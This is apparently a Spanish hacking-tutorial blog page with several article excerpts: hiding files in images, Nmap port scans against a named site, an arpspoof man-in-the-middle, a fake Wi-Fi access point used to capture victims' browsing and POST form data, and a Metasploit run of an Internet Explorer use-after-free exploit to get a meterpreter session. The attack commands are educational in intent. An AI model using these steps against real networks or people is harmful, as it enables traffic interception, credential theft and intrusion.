Cómo ocultar archivos dentro de una imagen

Imagen 1: Viendo el archivo Wallpaper.jpg podemos observar que esta imagen tiene dos archivos en su interior.

Un método de esteganografía bastante simple para insertar cualquier tipo de archivos dentro de una imagen es mediante el uso de software de compresión (como winrar) creando una copia binaria del los archivos dentro de una imagen.

Veamos un ejemplo en vídeo:

[youtube https://www.youtube.com/watch?v=kASDjZQ6d-4&w=560&h=315]

leer artículo

Nmap - como escanear puertos #1

¿Qué es Nmap?

Nmap es una herramienta para exploración de redes, sondeo de seguridad y puertos, la cual es su principal característica. La instrucción es muy sencilla de utilizar: nmap

¿Cómo funciona el escaneo de puertos?

Principalmente, de dos maneras: enviando paquetes o realizando una llama de conexión al objetivo. De aquí en adelante Nmap podrá conocer el estado en que se encuentra el puerto. Estos estados son clasificados en seis categorías:

1. Abierto: Una aplicación (TPC o UDP) esta aceptando conexiones o paquetes en dicho puerto.


2. Cerrado: El puerto recibe y responde a nmap, pero no existe ninguna aplicación escuchando en él.


3. Filtrado: Nmap no puede determinar si el puerto esta abierto, puesto que los paquetes enviados al objetivo están siendo filtrados por un firewall, por reglas del router o por alguna aplicación firewall instalada en el equipo objetivo.


4. No filtrado: El puerto es accesible pero nmap no logra determinar si el estado es abierto o cerrado.


5. Abierto|filtrado: Nmap marca este estado cuando no logra definir si el puerto esta abierto o filtrado. Los puertos abiertos no generar ningún tipo de respuesta.


6. Cerrado|filtrado: No se logra determinar si un puerto esta cerrado o filtrado. generalmente aparecen tras un escaneo IPID pasivo.

Especificación de puertos y orden de sondeo

Podemos realizar distintas opciones de sondeo de puertos con nmap. La primera que veremos en esta sección sera: nmap -p

-p : esta opción escanea tanto puertos individuales como un rango de ellos separados por un guión (ej: 1-1023).

-p- : escanea todo el rango de puertos de un objetivo , es decir del 1 al 65535.

Veamos algunos ejemplos:

Figura 1: Ejecución del comando: nmap -p 1-1024 cormupa.cl

Nmap realziara un sondeo del sitio cormupa.cl y listará todos los puertos entre el 1 al 1025

Figura 2: Nmap muerta los puertos sondeados en cormupa.cl y los estados en que estos se encuentran

Figura 3: Nmap realizara un sondeo de puertos que van del 1 al 65535 del sitio cormupa.cl

En el próximo articulo de nmap:

Sondeos con las instrucciones -F y -r y sus respectivas descripciones.

leer artículo

Man In The Middle

Man In The Middle, Hombre en el medio, es una técnica bastante utilizada ya. Voy a tratar de explicarlo de manera muy explicita, que llegue su comprensión a todo el mundo. El ataque no es más que como su nombre refleja, interceptar las comunicación entre dos maquinas, es decir todo lo que la maquina A va enviar a la maquina B el hombre en el medio lo vera, sin que se de cuenta ni A ni B.

Vamos a la práctica, podemos hacerlo por ejemplo con arpspoof, abrimos la consola de comandos y metemos el siguiente comando:

Arpspoof.exe  –t 10.0.5.6 (que es la victima, por ejemplo pepe) 10.0.0.1 (puerta enlace)

Y en otra consola de comandos lo siguiente:

Arpspoof.exe  –t 10.0.0.1 10.0.5.6

Imagen de: http://www.computerhope.com/jargon/m/mitma.htm

 

-t es para que no pare la comunicación.

Arpspoof.exe ejecutamos el programa.

A pepe le hemos dicho que somos la puerta enlace y a la puerta enlace que somos pepe, con lo cual todas las peticiones que haga pepe y la puerta enlace las veremos nosotros antes.

Imaginen si nos ponemos a analizar el tráfico con un sniffer toda la información que podríamos sacar, credenciales en texto plano, claves, conversaciones,  etcétera.

¿Cómo sabemos si somos victimas de un Man In The Middle?

Abrimos la consola de comandos y ponemos arp –a, nos fijamos si la mac del router cambia es un síntoma inequívoco.

Fuente: http://www.estacion-informatica.com/2012/10/man-in-middle_11.html

leer artículo

Capturando trafico desde un AP virtual

En esta entrada realizaremos un pequeño taller para estudiar la captura de tráfico wifi que más tarde analizaremos con WiriShark, el proceso consistirá en montar un Access Point virtual en nuestra maquina Windows a donde la victima nuestro sujeto de pruebas se conectará sin saber el peligro que hay detrás.

Para ello necesitaremos lo siguiente:

• Virtual Router Manager


• WireShark

Creando nuestro AP virtual

Con Virtual Router crearemos nuestro AP falso para que el o los usuarios se conecten, dando acceso a internet y controlando el trafico que estos generen.

Ahora conectate mediante otro dispositivo a esa red ( yo utilizare otra laptop pero puede ser cualquier dispositivo en red  ) y en la seccion Pares-Conectados en VirtualRouter veras que ya te ha detectado 

Ahora Comenzaremos a Capturar paquetes de el dispositivo conectado a nuestro AccessPoint desde la Computadora 

La Informacion en Internet viaja en pequeños trozos llamados paquetes.

Como Capturar Paquetes con WireShark

Lo primero que necesitaremos sera descargar e instalar Wireshark ( link arriba  ) para comenzar a capturar paquetes. Despues lo abrimos y vamos a seleccionar la interfaz de red a la cual vamos a “escuchar” el trafico que pase por ella, presionamos Ctrl + I o vamos a Menu Capture -> Interfaces y nos aparecera una lista de interfaces de la cual solamente seleccionaremos la que pertenece a nuestra wifi creada anteriormente

sino sabes cual interfaz es simplemente ve a Conexiones de Red y checalo

Ahora damos click a start en la ventana de seleccion de Interfaz y comenzaras a observar, una vez que exista actividad, los paquetes de red que pasaran por su PC  ahora simplemente falta identificarlos  ya se que diras que esto sera una lata pero no lo es.. para esto haremos uso de filtros  veamos..

Uso de Filtros en Wireshark

Para facilitar la extraccion de informacion que queremos en medio de tanta que no nos interesa podemos hacer uso del cuadro de texto de filtros, mediante esta caja de texto podemos escribir ciertos “criterios” de la informacion que queremos que nos muestre.. por ejemplo si solo queremos que nos muestre los paquetes que tengan que ver con el protocolo DNS, escribimos “dns” en el cuadro de filtros y presionamos enter.. ahora cuando algun cliente conectado a nuestra red acceda por ejemplo a una pagina web comenzaremos a obtener una lista de paquetes capturados..

Si tienes muchos clientes conectados a tu red Wifi tambien te puede interesar capturar solo trafico de paquetes de una sola direccion IP para hacer este filtro simplemente utiliza las cadenas:

ip.src == 123.123.123.123
ip.dst == 123.123.123.123

tambien puedes unir varias con el operador && o la palabra and  por ejemplo como en el filtro siguiente:

dns and ip.src == 192.168.137.116 and ip.dst == 8.8.8.8

Capturamos paquetes con protocolo dns, que salgan de la direccion 192.168.137.116 y que tengan como destino la ip 8.8.8.8 que es por cierto el DNS de google 

Viendo las Paginas que Navega

Podemos ver las paginas web con las que se esta o estuvo estableciendo conexion, para esto simplemente vamos a colocar un filtro para solo ver paquetes con puerto tcp 80 mediante la linea “tcp.port == 80 && tcp contains “GET / HTTP/1.1″”  Ahora solo para mostrarte vamos a meternos a 3 paginas desde la PC que se Conecta a nosotros.. Nos meteremos primero aJonathanMelgoza.com, luego a Youtube.com y para terminar a Afima.com.mx y vemos el resultado en nuestra PC 

Capturando Informacion Post de Formularios

Para mostrar este ejemplo vamos a ingresar a un articulo anterior de este blog, sesiones en php mas especificamente sesiones en php ejemplo practico, desde nuestro dispositivo que se conecta al Access Point y desde nuestra PC vamos a indagar en los paquetes 

En Wireshark escribiremos el siguiente Filtro..

http.request.method == POST

Con lo cual decimos que queremos capturar todos los paquetes de peticion en formularios que se realizen por el metodo Post..

Ahora entramos al ejemplo practico de sesiones de php e ingresamos un nombre en la caja de texto y presionamos “Enviar”

Nosotros escribimos “jonathanmelgozablog” como puedes ver  ahora miramos en wireshark los paquetes que se han capturado con nuestro filtro ..

Como puedes ver si colocamos este filtro obtendremos de la PC conectada la URL completa que visito ( Ip del servidor y ruta  ) y tambien abajo donde esta marcado se lee “nombre = jonathanmelgozablog” asi que obtendremos todos los campos enviados por el metodo Post ( tambien por el metodo GET si lo deseas solo cambia POST pot GET o concatenalo asi “ http.request.method == GET or http.request.method == POST ” )

Concluimos

Este Articulo puede verse desde dos puntos de Vista, obviamente el primero seria desde la perspectiva de alguien que quiere sacar provecho a la situacion ( ese fue el mio en un principio  ) pero esta tambien la perspectiva de las personas que quieren saber como funciona esto, saber que no es seguro acceder a cualquier Red Inalambrica para Conectarse a Sitios Importantes donde se juega Informacion Delicada. De cualquiera de las dos perspectiva donde se quiera ver, la seguridad en las Redes Wifi es un tema al que hay que poner mucha atencion -  ( si los que roban tu Informacion lo hacen deberias de hacerlo tambien tu ) y tomar medidas para tu Seguridad, si bien no existe algo 100% seguro si podemos mejorarla un poco ( vaya si es que algunos ni contraseña le ponen a sus redes  ) y salvar nuestra Valiosa Informacion.
Este Articulo se hizo un poco mas largo de lo que esperaba asi que lo cortaremos para dar paso a una segunda parte en la que trataremos temas mas a fondo acerca de el funcionamiento de wireshark, mas filtros y mas usos practicos, obtener e injectar cookies para robar sesiones y mas  hasta la segunda parte! pero no olvides darnos un +1 en Google+ arriba en la barra para el blog o aqui abajito para el Articulo  un like o tweet es tambien bienvenido 

Entrada Original: http://jonathanmelgoza.com/blog/capturando-informacion-desde-un-access-point-falso/

leer artículo

Explotando IE 8

Este 0-Day lleva bastante tiempo publicado y es una falla que afecta a las versiones de Internet Explorer (7, 8 y 9 ) en sus distintas versiones de Windows. De tal manera realizaremos un taller tomando esta vulnerabilidad de IE y la exploraremos con Metasploit, así entenderemos como funciona un exploit y los peligros que una falla de seguridad conlleva.

Antes de comenzar aclarare que la entrada original fue publicada en el blog de 0verl0ad.com en 2012 y me he tomado la libertad de publicarla sin tomar crédito de aquello, solo preparo los cimientos para la construcción de un taller de hacking,  virtualizando algunas maquinas y poder estudiar el asunto mencionado.

0-day en IE y Metasploit, al ataque!!

Hace unos días aparecía una vulnerabilidad (un 0day) que afecta a diferentes versiones de Internet Explorer (IE 7, 8 y 9) y a las diversas versiones del sistema operativo de Microsoft que lo utilizan (Windows XP, Windows Vista y Windows 7). Hoy leyendo mis RSS leo en Flu-Project que Metasploit ya lo tiene implementado, así que vamos a ver como utilizarlo :D
Lo primero, SIEMPRE, antes de utilizar Metasploit, hay que actualizarlo, para ello:

msfupdate

una vez este al día lo iniciamos con:

msfconsole

y veremos su bonita presentación (son geniales los banners de metasploit xD):

 

Lo siguiente es seleccionar el exploit a utilizar, para ello:

use exploit/windows/browser/ie_execcommand_uaf

Siempre que vamos a ejecutar un exploit o cualquier funcionalidad que ofrece metasploit, es recomendable el comando info que nos mostrara informacion del mismo:

info

En este caso vemos que el exploit funciona sobre:

• IE7 en Windows XP SP3


• IE8 en Windows XP SP3


• IE7 en Windows Vista


• IE8 en Windows Vista


• IE8 en Windows 7


• IE9 en Windows 7

 Las pruebas las se han realizado sobre un Windows 7 con IE 8, pero teóricamente soporta todas esas versiones y SO.

El siguiente paso es especificar la IP del servidor donde se preparará el exploit, es decir, nuestra IP, para ello:

set SRVHOST <IP>

en el ejemplo:

set SRVHOST 192.168.0.111

y por último lanzar el exploit:

exploit

Con esto el servidor se quedará en espera de conexiones, entonces, cuando la víctima acceda a la dirección que nos mostrará Metasploit (campo Using URL), se lanzará el exploit :D

 

Al final de todo el proceso, sino ha habido ningún problema, tendremos una sesión de meterpreter:

sessions -l

Listo, ya está todo el proceso, y al ser una vulnerabilidad 0day todavía no está corregida aumentando su peligrosidad.

Si queréis más información, aquí tenéis una entrada del blog de rapid7 => https://community.rapid7.com/community/metasploit/blog/2012/09/17/lets-start-the-week-with-a-new-internet-explorer-0-day-in-metasploit


Nos leemos en breve ;)

leer artículo